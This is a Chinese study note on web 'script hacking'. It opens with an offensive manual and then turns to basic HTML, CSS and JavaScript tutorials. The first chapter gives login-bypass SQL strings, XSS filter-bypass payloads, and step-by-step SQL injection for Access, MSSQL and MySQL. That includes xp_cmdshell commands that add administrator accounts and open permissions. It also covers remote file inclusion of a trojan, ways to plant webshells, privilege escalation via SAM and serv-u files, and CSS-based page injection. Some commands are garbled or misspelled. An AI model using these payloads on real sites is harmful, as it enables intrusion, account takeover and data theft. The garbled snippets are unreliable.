精通脚本黑客
精通脚本黑客
标签(空格分隔): 渗透技术
1 常规脚本漏洞演练
1.1 Google hacking技术
- intext:关键字:如intext:验证码 4800
- intitle:关键字:如intitle:后台
- cache:关键字
- define:关键字
- filetype:后缀名
- info:
- inurl:
- site:
- 目录浏览漏洞:inurl:/inc+conn.asp,to parent directory
1.2 'or'='or'经典漏洞攻击
类似的语句还有:
a'or'1=1--'or1=1--"or1=1--or1=1--'or'a'='a"or"="a'='a') or ('a'='a
1.3 暴库漏洞攻击
1.3.1 conn.asp暴库
inurl:"conn.asp"
1.3.2 %5c暴库
有些网站,我们将最后的一个/改成%5c就能够爆出数据库
1.3.3 暴库的常见问题与解决方法
- 暴出的数据库是以.asp结尾的,下载不了。将其URL地址复制到下载工具中下载。单当数据库中专门建立了放下载的表,里面写入一条错误的ASP代码,如
<% nodownload %> - 有时暴出的数据库中含有“#”号,同样下载不了。这里可以用
#的16进制代码%23代替#,这样就可以下载了。 - 对于ASP数据库,只要把它的后缀改为
.mdb即可打开 - 有时用
%5c暴库显示处理URL错误,请与系统管理员联系。用conn.asp暴库的时候显示一片空白,这是因为conn.asp中加入了容错语句。这时暴库就没有什么用了。
1.4 cookies欺骗漏洞
通过工具修改cookie值进行欺骗
1.5 跨站漏洞
跨站脚本是指在远程WEB页面的HTML代码中插入的具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被执行,有时候跨站脚本被称为“XSS”,这是因为“CSS”一般被称为分层样式表,这很容易让人困惑,如果你听某人提到CSS或XSS漏洞,通常是指跨站脚本。
跨站脚本漏洞的本质是HTML注入的问题。
1.5.1 XSS的探测和绕过过滤
在可输入区域输入script代码,比如在用户的简介中输入<script>alert("test")</script>,打开用户页面,如果弹出test窗口,则存在XSS漏洞。
如果在简介输入区域,<script>字符被过滤,可以试试利用已经存在的属性,如<imgsrc=javascript:alert("test")>,一样可以实现跨站漏洞的检测。进一步,如果javascript:关键字也被过滤,那么可以试试ASCII码的转化方法,将javascript:转化成16进制的值,比如:
<img src = "javascriptt:alert(/xss/)">
或者添加空格、tab,比如:
<img src = "java????cript:alert(/xss/)" width = 100>
还可以用时间和属性避免关键字,绕过监测,比如:
<img src = "#" onerror = alert(/xss/)>
<img src = "#" style = "XSS:expression(alert(/xss/));">
值得一提的是,yahoo mail 的跨站漏洞,是由如下的语句造成的。
<STYLE onload=alert('cookes exploit!');alert(document.cookie)">
1.6 注入漏洞
目前引起 SQL 注入的主要原因是程序员在编写网站脚本程序的时候,对特殊没有过滤或者过滤不完全而导致的。
测试注入漏洞,在URL后添加测试语句
http://www.xxx.com/xxx/xxxxx.php?id=1‘
http://www.xxx.com/xxx/xxxxx.php?id=1 and 1=1
http://www.xxx.com/xxx/xxxxx.php?id=1 and 1=2
如果存在注入漏洞,则页面应出现不正常。
1.6.1 ACCESS数据库手工注入
-
猜解表名:
and exists (select * from 表名)
一般常见的表名有:admin、a_admin、x_admin、m_admin、adminuser、admin_user、article_admin、administrator、manager、member、memberlist、user、users、userinfo、user_info、admin_userinfo、userlist、user_list、login、用户、密码、会员、登陆、movie、movies、news、password、clubconfig、config、company、 book、art、 bbs、dv_admin等等。 -
猜解列名:
exists (select 列名 from 表名)
一般常见的列名有:id、adminid、admin_id、adminuser、admin_user、adminuserid、admin_userid、adminusername、admin_username、adminname、admin_name、adminpwd、admin_pwd、adminpass、admin_pass、adminpassword、admin_password、administrator、administrators、usr、usr_n、username、usr_name、usrpass、user_pass、password、userpassword、user_password、pwd、userpwd、user_pwd、useradmin、user_admin、p_word、passwd、pass_wd、yonghu、用户、用户名、mima、密码、dw、oklook 等等。 -
猜解列长度:
and (select top 1 len(列名) from 表名) > x
变换top后的数字就可以猜解这个列的第N行长度了。 -
猜解用户名密码:
and (select top 1 asc(mid(列名,列数 N,1)) from 表名) > x
top后的数字为该列的第N行,x为ASCII码,列数N就是在这一列中的第几个数字。
1.6.2 SQL Server注入
-
确定当前用户名:
and user > 0 -
当前用户的用户数据信息:
having 1=1--
如执行having 1=1--语句得到信息FORUM_TOPICS.TOPIC_ID,其中FORUM_TOPICS是表名,TOPIC_ID是列名;
继续猜解,语句变为group by 用户信息 having 1=1--,即group by FORUM_TOPICS.TOPIC_ID having 1=1--,得到一个T_SUBJECT列名;
继续猜解,语句变为group by FORUM_TOPICS.TOPIC_ID, FORUM_TOPICS.T_SUBJECT having 1=1--,这样就可以得到其他列名。 -
暴任意表名:
and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc) > 1
其中 N 就是代表数据库中的第 N 个表。 -
暴任意列名:
and (select top 1 col_name(object_id('表名'),N) from sysobjects) > 1 -
暴数据:
and (select top 1 列名 from 表名 where id=N) > 1 -
以上是注入点参数为数字的情况。
若URL中的参数是字符的话,URL地址应形如:
http://www.xxx.com/xxx.asp?action=value
对于这样的URL,如果要进行注入,就需要利用如下语句进行检测:
http://www.xxx.com/xxx.asp?action=value' and 1=1
http://www.xxx.com/xxx.asp?action=value' and 1=2
如判断当前数据库类型,则应输入:
http://www.xxx.com/xxx.asp?action=value' and user > 0
它和在数字型注入差不多,但是要在字符后面加上一个单引号然后在后面加上所要进行注入攻击的代码,注意的是单引号和注入攻击代码之间要有一个空格。 -
还有一种是搜索型的注入,这个功能是用到了SQL语句中的模糊查询功能 。如果要注入一个网站的搜索,那么就应该输入这样的代码“要搜索的关键字%' and 注入攻击代码”。
另外, MSSQL 还有很多扩展功能,利用数据库的扩展存储过程(exec master..xp_cmdshell)我们还可以做非常多的事情,利用它我们可以很快地获得一个 shell。
比如我们要查看服务器上的 C 盘的目录,那么我们使用
;exec master..xp_cmdshell 'dir c:\'
就可以完成这个功能了,我们只需要提交
http://www.xxx.com/xxx.asp?id=xx;exec master..xp_cmdshell 'dir c:\'
执行之后那么执行这条语句之后就看见C 盘根目录下的文件和文件夹了。
我们还可以利用它来加一个管理员账号,提交
http://www.xxx.com/xxx.asp?id=xx;exec master..xp_cmdshell 'net user 123 123/add'
和
http://www.xxx.com/xxx.asp?id=xx;exec master..xp_cmdshell 'net localgroup administrator 123/add'
即可向服务器里添加一个管理员账户。
不过在使用扩展存储之前,先要判断它的存在,使用:
SELECT count(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell'
来完成,如果返回正常则说明存在。 -
如果扩展存储过程不存在,我们可以使用:
exec sp_addextendedproc xp_cmdshell,'xplog70.dll'
来恢复已经不存在的扩展存储过程,例如
http://www.xxx.com/xxx.asp?id=xx; exec sp_addextendedproc xp_cmdshell,'xplog70.dll'
执行之后,网站http://www.xxx.com/后台的数据库的扩展存储过程就被恢复了。而如果要删除扩展存储过程,我们只要执行
exec sp_dropextendedproc 'xp_cmdshell'
这个命令就可以完成了。 -
在 MS SQL2000 中,提供了一些函数用于访问一个叫做OLE的对象,通过它可以访问OLE控件,间接的使我们获得一个 shell。而要得到一个shell,就要使用两个关键函数,分别为
sp_OACreate
和
sp_OAMethod。
相关的 SQL 语句为:
DECLARE @S INT
EXEC SP_OACREAT 'wscript.shell',@s
exec master..SPOAMETHOD @s,'run',null,'cmd.exe/c
利用它我们同样可以得到一个 shell,可以执行我们的各种命令。
1.6.3 MySQL
在目前的数据库系统中,只有MySQL数据库支持/*注释的,所以我们可以利用它来判断后台是否是MySQL,如果不是那它就不支持这种注释了,自然就会出现错误。
-
判断数据库版本
在MySQL版本4及以上新增了一个联合查询(UNION)的功能。所以确定MySQL版本十分重要。我们可以使用:
and ord(mid(version(),1,1) > 51
就可以实现了。如果返回正常,说明版本大于4.0。
还可以利用注释语句来检测版本:
/*!%20s*/,如果返回错误,后台数据库为MySQL;
/*!30000%20s*/,如果返回错误,数据库版本大于3.0;
/*!40000%20s*/,如果返回错误,数据库版本大于4.0;
/*!50000%20s*/,如果返回错误,数据库版本大于5.0;
/*!4016%20s*/,如果返回错误,数据库版本大于4.0.16 -
确定当前数据库字段数目
-
UNION查询
在利用联合查询(UNION)字段数目的时候有一些限制,就是要求前面的SQL语句1和后面的SQL语句 2 中的字段数要相同,否则就会出错。我们可以提交 union select 1,1,1,1及其类似的语句。通过不断的增加1的个数,在结合返回信息可以迅速确定该查询语句前面查询的字段数目。我们就是不断的增加1,然后根据返回的结果。如果当我们提交到一个1的时候,返回的页面是正确的,那么第一个 SQL 语句 1 中的字段数目就是 union 后多少个 1 的数目。 -
order by方法
利用order by 后加数字,MySQL会解释成按照第几列排序,如果查询没有我们提交的数字的那么就会返回错误。
-
-
查询显示位(版本大于5)
UNION SELECT 1,2,3,4,5,...
此时页面上出现的数字即为显示位。 -
暴库
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1 -
猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)— -
猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1 -
暴密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1 -
高级用法——暴所有数据库
union select 1,group_concat(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.schemata-- -
高级用法——暴所有表名
union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables where table_schema=0x66756C6172615F32 -
判断读写权限
and (select count(*) from MySQL.user) > 0
1.7 文件包含漏洞
远程文件包含漏洞就是因为PHP文件中的变量过滤不严,没有判断提交的参数是本地的还是远程主机上的,因此我们可以指定远程主机上的文件作为参数来提交给变量执行,而如果提交的这个文件中存在恶意代码甚至干脆就是一个 php 木马的话,文件中的代码或 php 木马就会以 WEB 权限被成功执行。
http://www.target.com/xxx/add.php?Htmls=http://www.xxx.com/shell.txt?
输入以上URL,该漏洞即被利用,其中http://www.xxx.com/shell.txt为木马地址。
对于远程包含漏洞,也可以利用一些工具来检测,如r-inclued2。
文件包含漏洞针对的基本都是Unix/Linux系统,windows系统很少。
1.8 旁注攻击
旁注,就是看同一台服务器上是否有其他站点,如果有多个站点,可以从防护薄弱的站点着手入侵。
利用whois查询功能,可以清楚的看到一个服务器上绑了多少个站点。
1.9 如何获取webshell
1.9.1 上传
- 进入后台直接上传
- 添加上传类型
- 抓包上传
- 利用表单冲突(双文件上传)
1.9.2 后台备份及恢复
常规的方法吧,一般地,我们就是把一个ASP木马改为gif后缀上传,然后记下上传后的地址,下面,我们来到数据备份页面,如图 2-211所示,在“数据库路径”处填自己刚才上传的文件名,在“备分后路径”处填自己想要种马的地址,注意后缀为 ASP,点“备份”后,我们把它的地址和网站的 URL 组合后就是我们的 webshell 地址,那么就得到了自己想要的 webshell。
1.9.3 SQL写入导出
原理是在知道网站物理路径的情况下通过往SQL数据库中写入一个带木马的表,再将这个表导出,就得到 webshell 了。
1.10 使用webshell及提升权限
-
如果服务器上装有pcanywhere服务端,它默认安装在系统盘的
Documents and Settings/All Users/Application Data/Symantec/pcanywhere/
目录下,如果能跳转到这个目录,下载*.cif文件,用记事本打开,即可得到pcanywhere的密码,用它即可获得管理员权限。 -
还可以下载服务器的SAM表,文件路径为
系统盘\WINNT\system32\config\下,下载后利用LC5工具破解用户名密码。 -
虚拟主机还很可能采用了serv-u这个ftp工具。先跳转到系统的开始菜单目录中看是否安装了该软件,找到serv-u安装目录,如果servvDaemon.ini可写,打开servvDaemon.ini,在
[Domain]一栏下加上:
user9 = [hack|1|0] [USER = hack|1] password = HomeDir = c:\winnt\system32 Timeout = 60 Maintenace = system Accessl = c:\winnt\system32\RWAMELCDP SKETValues =
保存后利用ftp登录,用户名为cnnsafe,密码为空,然后执行
quote site execnet user hack hack/add
和
quote site exec net localgranp administrators hack/add
即可得到管理员权限。
如果servvDaemon.ini不可写,我们可以上传提权工具su-exe,执行后可获得权限。 -
查找conn和config,pass这一类型的文件,看是否能得到sa或MySQL的密码。
-
先查找系统安装了什么服务,看是否有开机启动或管理员常用的软件或服务,如果可写,我们可以尝试修改程序,绑定批处理或vbs程序,写入木马,然后等待服务器重启。
-
有时候管理员会将cmd.exe、net.exe、netl.exe等文件删除,这样就无法执行命令,我们需要上传这些文件然后执行。
-
当后台数据库是SQL server时,可以提交:
http://www.xxx.com/xxx.asp?id=xx;exec master.dbo.xp_cmdshell 'cacls d:\home /t /e /c /g everyone:f';--
这样即赋予操作系统中everyone组中成员所有权限,然后我们就可以上传、修改文件了。 -
利用本地溢出程序进行提权。在得到webshell后,我们先查看服务器上哪些目录是可执行的,然后在查找操作系统的版本以及在服务器上安装了哪些软件。在确定了这些信息后,我们就查找这些软件存在的相应的一些溢出程序,并上传到服务器的可执行目录中,接着溢出,成功的话,一下就可以得到管理员的权限。这种方法是我最为强烈推荐给大家的,不管它是那种操作系统,我们只要确定其操作系统或安装的软件中有存在溢出漏洞,那么使用溢出程序溢出是最快得到管理员权限的方法。
1.11 其他技术
1.11.1 网络钓鱼
“网络钓鱼”攻击利用欺骗性的电子邮件和伪造的Web站点来进行诈骗活动,受骗者往往会泄露自己的财务数据,如信用卡号、账户用户名、口令和社保编号等内容。诈骗者通常会将自己伪装成知名银行、在线零售商和信用卡公司等可信的品牌,在所有接触诈骗信息的用户中,有高达5%的人都会对这些骗局做出响应。
1.11.2 社会工程系、心理学
1.11.3 常见的密码破解技术
2 HTML入门
2.1 什么是HTML语言
2.1.1 HTML语言的基本语法和格式
HTML文件通常都是以<html>开始,以</html>结尾,而中间有两大部分:第一部分是<head>...</head>区段,称为头部;第二部分是<body>...</body>区段,称为体部。下面是一个典型HTML文件所具有的结构。
<html> //HTML 文件开始
<head> //头部开始
244
精通脚本黑客
<title>这是我的第一个 HTML 网页</title> //<head>与</head>之间为文件头部
<head> //头部结束
<body> / /体部开始
我也编写出了 HTML 网页哦! //<body>与</body>之间为文件体部
</body> //体部结束
</html> //HTML 文件结束
一般的 HTML 标记具有起始和结束标记,结束标记前面要加"/",并与前面的开始标记成对出现。特别要注意的是HTML 语言对大小不敏感,即和或者是一样的,其他的标记也是一样的道理。下面是常见的 HTML 语法。
-
<标记名>文本</标记名>
-
<标记名 属性名="属性值...">文本</标记名>
在编程时属性和方法是最为常见的,但是很多朋友很难分清楚哪些是属性哪些是方法。从最通俗的来讲,属性是属于静态的,而方法是属于动态的。举个例子来说明,假设上面的标记名是"人类"(当然是肯定没有一个这样的标签了)那么人类很多静态的东西,比如黑种人、白种人、黄种人。这些都是静态的,不能够改变的。而人类的方法也有很多,比如走路、吃饭、跑步。这些都是动态,方法可以完成一定的功能,而属性则不能。这个道理在TML语言上也是如此,比如我们把网页的背景换成红色: 红色背静网页。 -
<标记名>
2.2 HTML的常用标记
2.2.1 <html>、<body>、<head>、<title>等标记
-
<html>...</html>
一个HTML文件,无论是简单的还是复杂的,都是以开头,以结尾。标记还指出了本文件是HTML文件,当浏览器遇到标记时会按照HTML标准解释后面的文本,知道遇到结束标记才停止上述解释。HTML语言属于解释性语言,不需要经过编译,直接用浏览器就可以执行代码。 -
<head>...</head>
<head>和</head>构成了HTML文件的开头部分,在此标记对之间可以使用<title>...</title>、<script>...</script>等标记对,描述网页标题或者其他不在网页上显示的某些信息。 -
<title>...</title>
<title>标记用于设置浏览器创库标题栏中纤细的文本信息,这些信息一般是网页主题。注意,<title>...</title>标记对只能放在`...标记对之间。 -
<body>...</body>
<body>...</body>是HTML文件的主体部分,之间可以定义多种标记。同时<body>也有很多属性,下面是比较常用的:- 背景颜色 -- bgcolor
<body bgcolor = #rrggbb> - 背景图案 -- background
<body background = "图形文件名"> - 设定背景图案不会卷动 -- bgproperties
<body bgproperties = fixed> - 文件内容文字的颜色 --text
<body text = #rrggbb> - 超链接文字颜色 -- link
<body link=#rrggbb> - 正被选取的超连结文字颜色 -- vlink
<body vlink=#rrggbb> - 已连结过的超连结文字颜色 -- alink
<body alink=#rrggbb>
他们定义的文本、图像会再浏览器的窗口内显示,在这对标记中我们可以包含非常多的标记,如: - 改变文字的大小
<h#>...</h#>,其中#=1~6;h1为最大字,h6为最小字 - 改变字体的变化
<font>...</font>- 改变字体大小
<font size=#>...</font> - 指定文字字形
<font face="字形名称">...</font> - 改变文字颜色
<font color=#rrggbb>...</font>
- 改变字体大小
- 显示小字体
<small>...</small>;显示大字体<big>...</big>;显示粗体<b>...</b>;显示斜体<i>...</i>等等 - 换行标记
<br>;分段标记<p> - 改变文字的对齐方向
<p align="left or center or right"> - 插入一条分隔线
<hr>- 分隔线的粗细
<hr size=num> - 分隔线对齐方向
<hr align="left or center or right"> - 分隔线颜色
<hr color=#rrggbb> - 实心分隔线
<hr noshade>
- 分隔线的粗细
- 向中对齐
<center>...</center> - 在
<body>标记中通常是有表格的,定义表格的标记为<table>...</table>它通常有如下的属性:- 边框厚度 -- boder
<table boder=num> - 格线宽度 -- cellspacing
<table cellspacing=num> - 资料与格线的距离 -- cellpadding
<table cellpadding=num> - 调整表格宽度 -- width
<table width=num> - 调整表格高度 -- height
<table height=num> - 设定表格背景色彩 -- bgcolor
<table bgcolor=#rrggbb> - 设定表格边框色彩 -- bodercolor
<table bodercolor=#rrggbb>
- 边框厚度 -- boder
- 显示格线
<table boder> - 表格标题 `...
- 背景颜色 -- bgcolor
2.2.2 <!--xxxxxxx-->注释内容
<!--标记表示注释的开始,-->表示注释的结束。
2.3 图片的插入及自定义头像跨站漏洞
2.3.1 图像的插入
插入图像的标记是<img>,一般的格式为
<img src = "filename">
src属性在<img>标记中是必须赋值的,这个值可以是图像文件的路径或文件名,也可以是网址。除此之外,<img>标记中比较常用的属性还有:
alt=""作用为设置当前鼠标移动到图像上时显示的文本;width=""作用为设置图像的高度;height=""作用为设置图像的高度。
2.4 超链接的建立
2.4.1 文本链接
文本链接是使用网页上的文字作为链接点,标记是
<a href="URL">...</a>
其中href的值可以是网址,也可以是相对路径。另外href的值也可以是mailto:形式,语法为
<a href="mailto:EMAIL">...</a>
例如
<a href="mailto:xxxxxx@sohu.com">某某邮箱</a>
2.4.2 图像链接
<a href="URL">...<img src="">...</a>
2.4.3 超链接的target属性
target属性指定链接的文件出现在哪一类窗口,格式为:
<a href="URL" target="window-name">...</a>
若target的值等于"_blank",点击链接后将会打开一个新的窗口来浏览目标,若不用target,则会再原来的窗口中浏览新的HTML文件。
2.4.4 下载文件
基本语法为:
<a href="file_URL">文字链接</a>
2.4.5 脚本链接
通过脚本也可以做链接,而且可以用来实现HTML语言完成不了的功能,以JavaScript为例,基本语法为:
<a href="JavaScript:...">...</a>
例如编写一个关闭窗口功能的脚本链接代码:
<html>
<head>
<title>关闭窗口功能的脚本链接</title>
</head>
<body>
<a href="javascript:window.close()">关闭窗口</a>
</body>
</html>
2.4.6 超链接的综合使用
下面来编写一个在文字上设置目标为URL网址和邮件的超链接,并设置图像的点击查看大图效果,语句如下:
<!DOCTYPE html>
<html>
<head>
<title>超链接的使用举例</title>
</head>
<body>
<a href="logo.gif" target="_blank"><img src="logo.gif" alt="点击看大图" width="50" height="50"></a>
<a href="http://zengyunhao().blogcn.com/">我的博客</a>
<a href="logo.gif">下载</a>
</body>
</html>
2.5 表单
HTML中的表单是HTML页面与浏览器端进行交互的重要手段。
一般的表单由两部分组成,一是描述表单元素的HTML源代码,二是客户端脚本。
2.5.1 表单标记
表单区域是由一对<FORM>标记定义和标识的。表单的基本语法如下:
基本语法:
<FORM name="form_name" method="method"
action="URL" enctype="value" target="target_win">
.......
</FORM>
语法解释:
- name:表单的名称
- method:定义表单从浏览器传送到服务器的方法,一般用get和post两种方法
- action:定义表单处理程序的位置,有绝对路径和相对路径两种
- enctype:设置表单的编码方式
- target:设置返回信息的显示方式
-
name
<FORM name="form_name"> ... <FORM>通过表单名可以控制表单与服务端的处理程序之间建立关系,用名字来确定在服务端中程序处理的标识。
-
action
<FORM action="URL"> ..... <FORM>通过action属性,定义了表单中数据提交的地址,这个地址可以是绝对路径也可以是相对路径,也可以是邮件地址。
-
method
<FORM method="method"> ...... <FORM>method有两种选择,get和post。通过get方法提交数据时,表单中所有的内容都会附加在URL地址的后面,之间通过
?隔开。传递数据的格式是name=value,name就是要传递的数据的名字,value是要传递的值,当要传递多个数据时,值之间可以用&隔开。get方法提交的信息长度不可以超过8192个字符,所以目前使用最多的是post方法,它将数据包含在表单的主体中,一起传到服务端,在不指明的情况下,默认是get方式。
表单中可以包含的标记有4个:
| 标记 | 描述 |
|---|---|
<input> |
表单输入标记 |
<select> |
菜单和列表标记 |
<option> |
菜单和列表项目标记 |
<textarea> |
文字域标记 |
在代码中,他们的组织形式如下:
<FORM>
<input>.....</input>
<textarea>.....</textarea>
<select>
<option>......</option>
</select>
</FORM>
2.5.2 输入标记<input>
基本语法:
<form>
<input name="field_name" type="type_name">
</form>
在type属性中可以有很多属性值,其中常用的有:text、password、file、button、submit、reset、hidden。
-
文字域text
text属性值用来设定在表单的文本区域中,输入任何类型的文本、数字和字母。其中输入的数据是以单行显示。
基本语法:<input type="text" name="field_name" maxlength=value size=value value="field_VALUE">文字域属性 描述 name 名称 maxlength 最大输入字符数 size 宽度(以字符为单位) value 默认值 例子:
<html>
<head>
<title>.....</title>
</head>
<body>
用户调查
<form action=mailto:xxxx@yyy.com method=get name=zzz>
姓名:<input type="text" name="username" size=20>
网址:<input type="text" name="URL" size=20 maxlength=50 value="http://">
</form>
</body>
</html>
-
密码域password
基本语法与文字域差不多,区别是要把type中的text改为password。 -
文件域file
<html> <head> <title>文本域</title> </head> <body> <form> 请上传你的相片:<input type="file" name="file"> </form> </body> </html> -
按钮
按钮分为button(普通按钮)、submit(提交按钮)、reset(重置按钮)三种。
普通按钮button的语法是<input type="button" name="field_name" value="button_text">
提交按钮submit的语法是<input type="submit" name="field_name" value="button_value">
重置按钮reset,是在单击按钮后,将填入表单中的数据全部清除。语法是<input type="reset" name="field_name" value="button_text">
例子:<html> <head> <title>表单按钮演示</title> </head> <body> 用户注册<form action="mailto:xxx@yyy.com" method=get name=haha> 姓名:<input type="text" name="username" size=20><br> 密码:<input type="password" name="password" size=20 maxlength=30><br> 网址:<input type="text" name="URL" size=20 maxlength=50 value=http://><br> <input type="button" name="field_name" value="普通按钮"> <input type="submit" name="field_name" value="提交按钮"> <input type="reset" name="field_name" value="重置按钮"> </form> </body> </html> -
隐藏域hidden
在表单中插入隐藏域的目的就是在于手机或发送信息。
2.5.3 文本域标记<textarea>
该标记通常用来网页中做多行的文字域。
基本语法为:
<textarea name="name" rows="value" cols="value" value=value>...</textarea>
| 文本域标记属性 | 描述 |
|---|---|
| name | 文本域名称 |
| rows | 行数 |
| cols | 列数 |
| value | 默认值 |
例子:
<!DOCTYPE html>
<html>
<head>
<title>文本域功能演示</title>
</head>
<body>
用户调查
<form action="mailto:xxx@yyy.com" method="get" name="haha">
留言板:
<br>
<textarea name="comment" rows="5" cols="40"></textarea><br>
<input type="submit" name="field_name" value="提交留言">
</form>
</body>
</html>
2.6 框架
框架的作用是把浏览器窗口划分为几个更小的区域,每个区域显示不同的内容。框架主要由两个部分组成,一个是框架集,另一个是框架。
2.6.1 框架集标记<frameset>
在使用了框架集的页面上,页面的<body>标记被<frameset>标记给取代了,然后通过<frame>标记定义每一个框架。
<!DOCTYPE html>
<html>
<head>
<title>基本框架代码</title>
</head>
<frameset>
<frame>
<frame>
....
</frameset>
</html>
框架一般是把页面分成几个小块,主要分割方法有,左右分割,上下分割,嵌套分割三种。
-
左右分割
利用框架的cols属性即可。<frameset cols="value,value,....."> <frame> <frame> ..... </frameset>其中value是各个框架的宽度,定义了几个value,就会有几个框架,value的值可以是像素,也可以是百分比。比如我们编写分割左右两个框架的网页:
<html> <head> <title>左右分割窗口</title> </head> <frameset cols="30%,70%"> //将浏览器分成两个部分,一个占30%,一个占70% <frame> <frame> </frameset> </html> -
上下分割
<frameset rows="value,value,......"> <frame> <frame> .... </frameset> -
嵌套分割
<frameset rows="value,value,....."> <frame> <frameset cols="value,value,...."> <frame> .... </frameset>
2.6.2 框架标记<frame>
<html>
<head>
<title>框架的运用</title>
</head>
<frameset cols="50%,50%">
<frame src="one.html" name="one">
<frame src="two.html" name="two">
</frameset>
</html>
2.6.3 浮动框架<iframe>
基本语法:
<iframe src="file_url" height="value" width="value" name="iframe_name" align="value">
</iframe>
| 属性 | 描述 |
|---|---|
| src | 页面源文件的路径 |
| width | 宽度 |
| height | 高度 |
| name | 名称 |
| align | 排列方式 |
| frameborder | 边框显示属性 |
| scrolling | 滚动条显示属性 |
| marginwidth | 边缘宽度属性 |
| marginheight | 边缘高度属性 |
2.7 CSS层叠样式表
CSS对于设计者来说是一种简单灵活的工具,能使任何浏览器都听从指令。CSS是一组样式,样式的属性依次出现在HTML元素中,并显示在浏览器中。样式可以定义在HTML文档的标志里面。也可以是存在外部,作为引用在HTML文档中,所以一个样式可以用于多个HTML页面,深知整个网站。
2.7.1 曾叠样式表的类型
-
自定义曾叠样式表
我们可以在文档的任何区域或文本中应用自定义层叠样式表,如果要将自定义的层叠样式表应用在一整段文字,那么就会在响应的标签中出现class属性。这个属性值是自定义层叠样式表的名称。如果将定义的层叠样式表应用在部分文字上,那么就会出现<span></span>标签,并且还包含class属性。.bg {background-image:url(bg.gif)} <body class="bg"> -
重定义标签的层叠样式表
我们可以针对某个标签来定义层叠样式表,也就是说定义的层叠样式表只应用在我们选择的标签。td {color:#000099;font-size:9pt} -
层叠样式表选择符
这是为特殊的组合标签定义层叠样式表,通过使用ID来作为属性,以保证文档具有唯一可用的值。层叠样式表选择符是一种比较特殊类型的样式,常用的有四种:a:link设定正常状态下链接文字的样式;a:active设定鼠标单击时链接的外观;a:visited设定访问过的链接外观;a:hover设定鼠标放置在链接文字之上时,文字的外观。
2.7.2 层叠样式表的基本写法
-
在head内的实现
层叠样式表一般位于HTML文件的头部,即在<head></head>之间,并且以<style>开始,以</style>结束。<style type="text/css"> H1 {font-size:x-large;color:red} H2 {font-size:lorge;color:blue} </style> -
在body内的实现
在body中实现主要是在标记中引用,例如要让H3标记的文字的大小为10pt,那么可以使用如下语法:<h3 style="font-size:10pt"> -
在文件外的调用
<link rel="stylesheet" href="style.css" type="text/css">
2.7.3 CSS挂马技术
要用CSS挂马,首先要用到文件外调用,代码为:
<link rel="stylesheet" type="text/css" href="style.css">
href属性就是链接外部的文件的属性,在挂马的时候只需要改动这里就可以,把它的值改成我们自己构造的CSS文件地址。而在这个CSS文件中,我们需要用到自定义层叠样式表的知识来挂马,代码为:
body {background-image:url(javascript:document.write("script src="URL")')}
例子如下:
<html>
<head>
<style type="text/css">
div{
background: url("javascript:window.alert('ok');");
}
</style>
</head>
<body>
<div></div>
</body>
</html>
3 JavaScript和VBScript入门
3.1 什么是JavaScript语言
3.1.1 JavaScript简介
对于初学者,有两个常识必须清楚。
-
由浏览器处理的JavaScript称作客户端JavaScript。虽然JavaScript主要用于客户端脚本编程,但这并不是JavaScript的唯一用法,它能用于除了web浏览器之外的其他环境,比如创建一种用于在服务器上编程的JavaScript,则可以看做是像ASP一样的服务端脚本语言。
-
很多初学者以为JavaScript是Java,事实上它们是由两家不同公司开发出来的。Java可以说与web页面无关,而JavaScript则嵌入web页面中。
总的来说JavaScript能够完成以下功能:
- 控制文档外观和内容;
- 控制浏览器的行为;
- 与用户交互,使用cookies读写客户端状态;
- 操作嵌入图像。
3.1.2 JavaScript和事件
HTML编写的web页面是静态的,不能对用户的操作作出反应。而JavaScript是动态的,它能够和用户在客户端进行交互。
例如一个单机弹框的代码:
<html>
<head>
<title>事件处理</title>
</head>
<body>
<form>
<input type="button" value="请单击此处" onClick="alert('单击按钮,触发click事件')">
</form>
</body>
</html>
下面是JavaScript能够处理的一些常见事件。
| 事件处理程序 | HTML标记 | 触发时机 |
|---|---|---|
| onAbort | <img> |
图像加载过程中断时触发 |
| onBlur | <body>和窗体元素 |
窗体和窗体元素失去键盘焦点时触发 |
| onChange | 窗体元素 | 用户修改了窗体元素的值后触发 |
| onClick | 所有元素 | 用户单击了类似按钮这样的窗体元素后触发 |
| onError | <img> |
加载图像过程中发生错误时触发 |
| onFocus | <body> |
窗体或窗体元素得到键盘焦点时触发 |
| onLoad | <body><img><object> |
文档、图像或对象完成加载时触发 |
| onMouseOut | 所有元素 | 鼠标指针离开对象时触发 |
| onMouseOver | 所有元素 | 鼠标指针移过对象时触发 |
| onSubmit | <form> |
用户提交窗体时触发 |
| onUnLoad | <body><frameset> |
卸载文档时触发 |
3.1.3 JavaScript的编写和执行
客户端的JavaScript程序是嵌入在HTML文档头中头标记<head></head>或体标记<body></body>之间的。
JavaScript都是使用<script>标记作为程序的开始,</script>作为程序的结束。如果JavaScript程序很长,也很复杂,或者想让某个JavaScript程序重用,那么久应该把这样的程序放到外部文件中,后缀名为.js,并将该文件加载到web页面中。
例子:
<html>
<head>
<title>javascript示例</title>
</head>
<body>
<script type="text/javascript" language="javascript">
//javascript代码使用的声明
document.writeln("<hl>这是用JavaScript输出的代码</hl>");
//利用document对象的writeln方法往页面上输出文字
</script>
这是用HTML本身功能显示的文字
</body>
</html>
JavaScript代码的外部文件可以保存在本地,此时,文件名可以使用全路径或者部分路径;同时也可以保存在另外一台机器上,此时,赋值给src属性的文件名就必须是完整的URL名称。
<html>
<head>
<title>引用外部JavaScript文件</title>
<script src="c:\ddd\desktop\11.js" language="javascript"></script>
</head>
<body>
<script type="text/javascript" language="javascript">
document.writeln("xxxxxxxxxxx");
</script>
</body>
</html>
3.2 JavaScript基础
3.2.1 语法规则
-
大小写
JavaScript区分大小写。 -
分号和语句结束符
